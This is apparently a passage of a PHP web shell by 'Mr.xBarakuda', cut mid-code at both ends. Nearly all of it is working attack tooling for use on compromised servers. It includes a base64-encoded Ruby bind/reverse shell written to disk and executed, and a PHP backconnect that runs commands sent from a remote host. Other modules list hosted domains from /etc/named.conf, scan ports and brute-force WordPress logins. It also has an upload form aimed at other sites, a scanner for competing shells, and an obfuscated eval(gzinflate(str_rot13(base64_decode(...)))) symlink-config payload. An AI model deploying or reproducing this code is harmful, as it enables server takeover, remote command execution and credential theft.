      $becaak=base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");
      $pbcaak=@fopen('bcruby.rb','w');
      fwrite($pbcaak,$becaak);
      $out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']);
      sleep(1);
      echo "<center><pre>$out2
".exe("ps aux | grep bcruby.rb")."</pre></center>";
      unlink("bcruby.rb");
      }
      if($_POST['backconnect'] == 'php') {
                  $ip = $_POST['server'];
                  $port = $_POST['port'];
                  $sockfd = fsockopen($ip , $port , $errno, $errstr );
                  if($errno != 0){
                    echo "<br><font color='red'>$errno: $errstr</font>";
                  } else if (!$sockfd)  {
                    $result = "<br><p>Unexpected error has occured, connection may have failed.</p>";
                  } else {
                    fputs ($sockfd ,"
                      
{#######################################}
                      
..:: BackConnect PHP By Mr.xBarakuda ::..
                      
{#######################################}
");
                    $dir = shell_exec("pwd");
                    $sysinfo = shell_exec("uname -a");
                    $time = shell_exec("time");
                    $len = 1337;
                    fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "

");
                    while(!feof($sockfd)){ $cmdPrompt = 'root@mrxbarakuda:~ $';
                    fputs ($sockfd , $cmdPrompt );
                    $command = fgets($sockfd, $len);
                    fputs($sockfd , "
" . shell_exec($command) . "

");
                  }
                  fclose($sockfd);
                }
            }
      }
elseif($_GET['do'] == 'kill') {
	if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
			die('<center><h3>Shell removed</h3>Goodbye, Thanks for take my shell today</center>');
		else
			echo '<center>unlink failed!</center>';
}
elseif($_GET['do'] == 'domains'){echo "<div class=mybox><center><h3>Domains Viewers</h3>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center>Error: can't read [ <font color=red><i>/etc/named.conf</font></i> ]</center>");}echo '<table id="output" border="1"><tr bgcolor=#cecece><td>Domains</td><td>Users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</center></div>';
}
elseif($_GET['do'] == 'ports') {
    
	if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
        $start = strip_tags($_POST['start']);
        $end = strip_tags($_POST['end']);
        $host = strip_tags($_POST['host']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo '<center>Port '.$i.' is <font color=lime>Open</font></center>';
            }
            flush();
        }
    } else {
	echo '<center><h3>Port Scanner</h3>
	<table><form action="" method="post">
	<br><tr><th><td><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
              <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center></th></tr></td></table>';

    }
}
elseif($_GET['do'] == 'wpbf') {
include("../head.php");
set_time_limit(0);
error_reporting(0);
class lugi{
 
        private $host;
        private $user;
        private $open;
        private $lista;
 
  public function banner() {
   echo("    <html>
    <head>
    <style type='text/css'>
	
 textarea {
	 	width: 100%;
	height: 400px;
 }
 

    .ext{
        color: blue;
    }
 
    .area{
        width:400px;
        height:350px;
        resize:none;
    }
 
    </style>
    </head>
    <body>
    <h3><center>WordPress Brute Force</center></h3>
    <form action='' method='POST'>
    <center>Host:<input type='text' name='host' class='con7' placeholder='http://lusuka.co.li/' size='40' > </center><br>
    <center>User:<input type='text' name='user' class='con7' value='admin' size='25'>    </center><br>
    <center>Wordlist</center>
    <center><textarea class='form-control con7' rows='10' name='lista'></textarea><br><br><center>
    <center><input type='Submit' class='kntd' value='Start'></center>
    </form>
    </body>
   </html>");

}
 
    public function extract_post() {
         $this->host = $_POST["host"];
         $this->user = $_POST["user"];
         $this->open = $_POST["lista"];
       }
 
       public function Xregex() {
         if(preg_match("@/wp-login.php@", $this->host)) {
             return true;
         } else {
            $this->host = $_POST["host"]."/wp-login.php";
         }
     }
 
      public function brute() {
           $lista = array_filter(explode("n", $this->open));
           foreach($lista as $this->lista) {
           for($i=0; $i < count($this->lista); $i++) {
                        $this->Xcurl();
                     }
              }
       }
 
        private function cool() {
            echo "[+] Host:"."<font color='white'>{$this->host}</font>";
            echo " <br/>[+] User:"."<font color='white'>{$this->user}</font>";
            echo " <br/>[+] Pass:"."<font color='white'>{$this->lista}</font>";
        }
 
        private function Xcurl() {
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $this->host);
            curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->user&pwd=$this->lista&wp-submit=Login&redirect_to=$this->host/wp-admin/");
            $exec = curl_exec($curl);
            $http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
            $this->cool();
            if($http == 302) {
                 echo "<font color='lime'> <br/>[+] Success [+] Tinggal Login Aja</font><br>";
                 break;
            } else {
                echo "<font color='red'><br/>[+] Failed</font><br>";
            }
                curl_close($curl);
        }
}
 
$wp = new lugi();
$wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
$wp->banner();
$wp->extract_post();
$wp->Xregex();
$wp->brute();
        
echo "<br>";
}
elseif($_GET['do'] == 'csrf') {
?>
<center><h3> CSRF ONLINE</h3>
<p>Post File Type: Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc</p>
<form method="post">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="data" size="50" height="10" placeholder="Lihat Diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="go" value="Lock!">
</form></center>
<?php
$url = $_POST['url'];
$data = $_POST['data'];
$submit = $_POST['go'];
if($submit) {
    echo "<center><form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form></center>";
}
?>
<?php
}
elseif ($_GET['do'] == 'hashid'){
if(isset($_POST['gethash'])){
		$hash = $_POST['hash'];
		if(strlen($hash)==32){
			$hashresult = "MD5 Hash";
		}elseif(strlen($hash)==40){
			$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
		}elseif(strlen($hash)==13){
			$hashresult = "DES(Unix) Hash";
		}elseif(strlen($hash)==16){
			$hashresult = "MySQL Hash / /DES(Oracle Hash)";
		}elseif(strlen($hash)==41){
			$GetHashChar = substr($hash, 40);
			if($GetHashChar == "*"){
				$hashresult = "MySQL5 Hash"; 
			}	
		}elseif(strlen($hash)==64){
			$hashresult = "SHA-256 Hash";
		}elseif(strlen($hash)==96){
			$hashresult = "SHA-384 Hash";
		}elseif(strlen($hash)==128){
			$hashresult = "SHA-512 Hash";
		}elseif(strlen($hash)==34){
			if(strstr($hash, '$1$')){
				$hashresult = "MD5(Unix) Hash";
			} 	
		}elseif(strlen($hash)==37){
			if(strstr($hash, '$apr1$')){
				$hashresult = "MD5(APR) Hash";
			} 	
		}elseif(strlen($hash)==34){
			if(strstr($hash, '$H$')){
				$hashresult = "MD5(phpBB3) Hash";
			} 	
		}elseif(strlen($hash)==34){
			if(strstr($hash, '$P$')){
				$hashresult = "MD5(Wordpress) Hash";
			} 	
		}elseif(strlen($hash)==39){
			if(strstr($hash, '$5$')){
				$hashresult = "SHA-256(Unix) Hash";
			} 	
		}elseif(strlen($hash)==39){
			if(strstr($hash, '$6$')){
				$hashresult = "SHA-512(Unix) Hash";
			} 	
		}elseif(strlen($hash)==24){
			if(strstr($hash, '==')){
				$hashresult = "MD5(Base-64) Hash";
			} 	
		}else{
			$hashresult = "Hash type not found";
		}
	}else{
		$hashresult = "Not Hash Entered";
	}
	
	?>
<center>
<form action="" method="post"><tr>
<table class="tabnet">
<th colspan="5"><h3>Hash Identification</th></h3>
<tr class="optionstr"><b><td>Enter Hash</td></b><td>:</td>	<td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
elseif($_GET['do'] == 'shellscan') {
    ?>
  <script language="javascript" type="text/javascript">
    function MM_openBrWindow(c,a,b){window.open(c,a,b)}
  </script>
  <style type="text/css">
    .single{border: 1px solid #00ff00; box-shadow: 0px 0px 15px #55FF55; padding: 5px;}
    .me{font-size: 12px; font-family: Share Tech Mono; color: #ccff99; border: 0px; padding: 3px;}
    .isi{padding: 2px; border: 1px solid #666666; font-family: Share Tech Mono; color: #ccff99; background-color: #666666; font-size: 10px; font-weight: bold;}
    #patch {position: absolute; height: 1; width: 1px; top:0; left:0;}
  </style>
  </head>
  <body>
    <center>
      <h3 style="color: white;">Shell Scanner</h3>
    </center>
    <?php
      if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
         if(isset($_POST['yes'])){
            $filename = $_GET['file'];
            echo "<br><br><br><font color=red size=3><b><center>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
            unlink($filename);
            echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
         }else{
            if($_POST['update']) {
               $filename = $_POST['file'];
               if(is_writable($filename)) {
                  $handle = fopen($filename, "w+");
                  $isi=$_POST['content'];
                  fwrite($handle, stripslashes($isi));
                  fclose($handle);
                  $stat= "<center><strong>edited successfully<br>";
               } else {
                  $stat= "<center><font color=red><strong>Error! File may not be writable.</font></center>";
               }
            }
            if($_POST['close']) {
               echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
            }
            $filename = $_GET['file'];
            if (file_exists($filename)){
               $vuln = $_GET['bug'];
               $handle = fopen($filename, "r");
               $contents = fread($handle, filesize($filename));
            ?>
    <center>
      <table>
        <tr>
          <td align="left" class="me"><strong><?=$filename?>&nbsp;&nbsp;>> Contains :&nbsp;<?=$vuln?></strong></td>
        </tr>
        <tr>
          <td class="me">
            <form method="post" action="">
              <input type="hidden" name="file" value="<?=$filename?>">
              <textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea>
              <br>
          </td>
        </tr>
        <tr><td align="center" class="me">
        <?php
          if($_POST['delete']) {
             echo "Are you sure to delete ".$filename." ?";
          ?>
        <tr><td align="center" class="me">
        <input type="submit" name="yes" value=" Y E S ">
        <input type="submit" name="no" value=" N O ">
        </td></tr>
        <?php
          }else{
          echo $stat;
          ?>
        </td></tr>
        <tr><td align="right" class="me">
        <input type="submit" name="close" value=" C l o s e ">
        <input type="submit" name="delete" value=" D e l e t e ">
        <input type="submit" name="update" value=" S a v e ">
        </td></tr>
        <?php
          }
          fclose($handle);
          ?>
      </table>
      </form>
      <?php
        }else{
        echo "<br><br><br><font color=red size=3><b><center>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
        echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
        }
        ?>
    </center>
    <?php
      }
      }elseif(isset($_POST['Submit'])){
         $ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
         foreach($ceks as $ceker){
            if($_POST[$ceker]<>""){
               $six.=$_POST[$ceker].".";
            }
         }
      $cek = explode('.', $six);
      
      function ListFiles($dir) {
          if($dh = opendir($dir)) {
      
              $files = Array();
              $inner_files = Array();
      
              while($file = readdir($dh)) {
                  if($file != "." && $file != "..") {
                      if(is_dir($dir . "/" . $file)) {
                          $inner_files = ListFiles($dir . "/" . $file);
                          if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                      } else {
                          array_push($files, $dir . "/" . $file);
                      }
                  }
              }
      
              closedir($dh);
              return $files;
          }
      }
         ?>
    <center>
    <table border="0" width="90%" cellpadding="5">
      <tr>
        <td class="me" align="right" width="30"><b>No</b></td>
        <td class="me" align="center" width="105"><b>Type</b></td>
        <td class="me" align="center"><b>File&nbsp;&nbsp;Location</b></td>
        <td class="me" align="center" width="150"><b>Last&nbsp;&nbsp;Edit</b></td>
        <td class="me" align="right" width="80"><b>File&nbsp;&nbsp;Size</b></td>
      </tr>
      <br>
      <?php
        $target=$_SERVER['DOCUMENT_ROOT'];
           foreach (ListFiles($target) as $key=>$file){
              $nFile = substr($file, -4, 4);
              if($nFile == ".php"){
                 if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){
                 }else{
                    $ops = @file_get_contents($file);
                    $op=strtolower($ops);
                    $arr = array('c99_buff_prepare' => 'c 9 9',
                              'abcr57' => 'r 5 7');
                    $sis=0;
                    if($op)
                    $size=filesize($file);
                    $last_modified = filemtime($file);
                    $last=date("M-d-Y H:i", $last_modified);
                    foreach($arr as $key => $val) {
                       if(@preg_match("/$key/", $op)) {
                          $sis=1;
                          $i++;
                          ?>
      <tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
        <td align="right">
          <font color="red">
            <blink><?=$i?></blink>
          </font>
        </td>
        <td align="center">
          <font color="red">
            <blink><?=$val?></blink>
          </font>
        </td>
        <td align="left">
          <blink>
            <a href="#" class="abunai" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
          </blink>
        </td>
        <td align="center">
          <font color="red">
            <blink><?=$last?> GMT+9</blink>
          </font>
        </td>
        <td align="right">
          <font color="red">
            <blink><?=$size?> byte</blink>
          </font>
        </td>
        <script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
      </tr>
      <?php
        }
        }
        if($sis<>"1"){
        if((@preg_match("/system\((.*?)\)/", $op))&&(@preg_match("/<pre>/", $op))&&(@preg_match("/empty\((.*?)\)/", $op))) {
           $sis="2";
           $i++;
           $val="hidden shell";
           ?>
      <tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
        <td align="right"><font color="#A0CE4E"><?=$i?></font></td>
        <td align="center"><font color="#A0CE4E"><?=$val?></font></td>
        <td align="left">
          <a href="#" class="xxx" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
        </td>
        <td align="center"><font color="#A0CE4E"><?=$last?> GMT+9</font></td>
        <td align="right"><font color="#A0CE4E"><?=$size?> byte</font></td>
        <script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
      </tr>
      <?php
        }
        }
        if($sis=="0"){
        foreach($cek as $bugs) {
         if ($bugs<>""){
        if(@preg_match("/$bugs\((.*?)\)/", $op)) {
           $i++;
           ?>
      <tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
        <td align="right"><?=$i?></td>
        <td align="center"><?=$bugs?></td>
        <td align="left">
          <a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
        </td>
        <td align="center"><?=$last?> GMT+9</td>
        <td align="right"><?=$size?> byte</td>
        <script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
      </tr>
      <?php
        }              
        }
        }
        }
        if($_POST['textV']<>""){
        $text=$_POST['textV'];
           if(@preg_match("/$text/", $op)) {
           $i++;
           ?>
      <tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
        <td align="right"><?=$i?></td>
        <td align="center"><?=$text?></td>
        <td align="left">
          <a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
        </td>
        <td align="center"><?=$last?> GMT+9</td>
        <td align="right"><?=$size?> byte</td>
        <script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
      </tr>
      <?php
        }
        
        
        }
        }
        }
        }
        if($i==0){
        foreach($cek as $bugs) {
        if ($bugs<>""){
        $x++;
        ?>
      <tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
        <td align="right"><?=$x?></td>
        <td align="center"><?=$bugs?></td>
        <td align="center"> not exist </td>
        <td align="center"> no record </td>
        <td align="right"> -&nbsp;&nbsp;&nbsp;&nbsp;byte </td>
      </tr>
      <?php
        }
        }
        }
        ?>
    </table>
    <?php
      }else{
         $find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
      ?>
    <form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
      <center>
      <table class="single" width="400" border="1" cellpadding="10">
        <tr>
          <td class="me">
            <center>
            <b>S e l e c t &nbsp;&nbsp;S c a n&nbsp;&nbsp;T y p e :</b><br>
            <table class="me" width="200">
              <tr>
                <td class="me">
                  <script language="javascript">function cekKlik(){if(!document.fCheck.cekV.checked){document.fCheck.textV.disabled=true}else{document.fCheck.textV.disabled=false}if(document.fCheck.cekV.checked){master=master+1}else{if(master>0){master=master-1}else{master=master}}if(master!=0){document.fCheck.Submit.disabled=false}else{document.fCheck.Submit.disabled=true}};</script>
                  <?php
                    //dari sini
                    foreach($find as $bug) {
                    ?>
                  <script language="javascript">/*<![CDATA[*/var master=0;function checkValue<?=$bug?>(){if(document.fCheck.<?=$bug?>.checked){master=master+1;}else{if(master>0){master=master-1;}else{master=master;}}
                    if(master!=0){document.fCheck.Submit.disabled=false;}else{document.fCheck.Submit.disabled=true;}}/*]]>*/
                  </script>
                  <input onClick="checkValue<?=$bug?>()" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" />&nbsp;<?=$bug?><br>
                  <?php
                    }
                    ?>
                  <input name="cekV" type="checkbox" onClick="cekKlik()" id="cekV" value="cekV">
                  <input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV">
                  <br><br>
                  <input type="hidden" name="asal" value="abcd">
                  <input disabled="disabled" type="submit" name="Submit" value=" S t a r t&nbsp;&nbsp;S c a n " />
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </form>
    <?
    }
    ?>
<?php
}
elseif($_GET['do'] == 'symconfv2') { ?>
<center><h3>Symlink Config v2 By Mr.xBarakuda</h3></center>
<?php
// Cod3d by Mr.xBarakuda //
@error_reporting(0);
@ini_set('html_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', 0);
@ini_set('file_uploads',1);
eval(gzinflate(str_rot13(base64_decode('vZz/Ytu2EsB/D5D/gdM6OMFYrCTF9oDENuYm3lg3NzGS9PWHrQh1iY4569tVKo5b7H9/pHE5aRy7PI33CjRoVt2Hxzvya7rIb8E4euzutFOpiFbM1DgN216WV+VoZ3jAEsVRp6XYk6KCRCLVLG96YlWDyYNV8yQ8SIImMtOd6nnKUDU+/enoB48EdiTb3kJUHlZ1rAUyKuU09IhVp7r9+MTrNM5pat7kRbRUPG97ns9H4M+v2j8juztNIVOD8Z65hkNWzL9vX2p81X/fVSXa7CmL0kPLnm0Hcq+RcG1PxPT/fvS56f2Ra6bx72y7nFbF4r1TJIn/VYUfRh419s9e6R2nMSttyr5Ty6950HYNUqewS6LMPEbRno65b51YLWVXTb7pMBdVFrFAzQ1ga4VW01nxNCGKq6h3Jo80yhfXmJ8tv7zsaIHjFYnjReRru8zJisxWKWayXebtiszbRebtT1PbteWXk+yQaGY0x4oGAZNlo1pv8TSkgkHykL5vmiGnki40uC76JGyfhOyJVvJYGlLp9GkW92wykbs7F1x1YypzxQVxCa31iKPdnWEY3s0yU9STIs15nBUtlzQJIyYWjV6nm+lSx8gWeJZKrClTIz1V9Z9/SHcuNa13WSAq65XndBHlybrmkolUJg71BpQsfO5ek1sQSqZctt6wv2WtC7lXE7a7ZlgVl6MZ6SazhTm2LJS+9rXMGAsXFtk8dos537A4fXGVkqvzoUwW8YAatJ8GiqlQvc0ZjYvLiNdMqLKserVP9VSecbmqT0uxR0IjHrOz53VpS7Z+f0f8qYJKkCYjj1X+Un8+PvJpaqqZnotHfflPLrjkCf/OI1d42fZxPoxsGT+Hwu+UP3wTYIugx1Rx78394Pr27veGITc+75OvOqSZzVLapOoqAtB0EyRUdjTiD6bLtOmWn+NWyMXevOOAHP37xx+L2PdmMF7qMNHrWrUJl8hYUy8GMAH4XlvmXnijZ8CXe95v7+rITX08+OV9v2rfHQxtShcFuozWz25Lx9qD+RhIvP+8GsrL1iKadNNj/6sJ6lm0leDxXtGisWUWVG2t7DX8xk7D6Gsvjo5HEYqDNJuZ9nNuiHPxyQD0p3M8eAbalgfzBk/OB92rXr+pl2zjBbaO+LahWPOMqRwv5D9dfji/tR37m/JbBs/yod4S93Pv+DLXi19iq7CZ0QfmZrPDil21NK2b3nqv3+/dS+r2f8Q7M8M0OzTbij+YqPCMur65GHX1Khyx5pWwXBRkdIVWVaEgVgX59fr6UL8LSEhCTFQdtXKIcgvYqzznV+fgbj5mztTnWDBWZvdJMMmroNscS5MbZFrmVVwkLMPiul9xJRiLeEVrLJUR2YeYbXDCv+ikEssmOHmdrSBA44wmCMEzl1f3CzQwwhnCI/cx2UBs8uCcO+IJWgL3627O5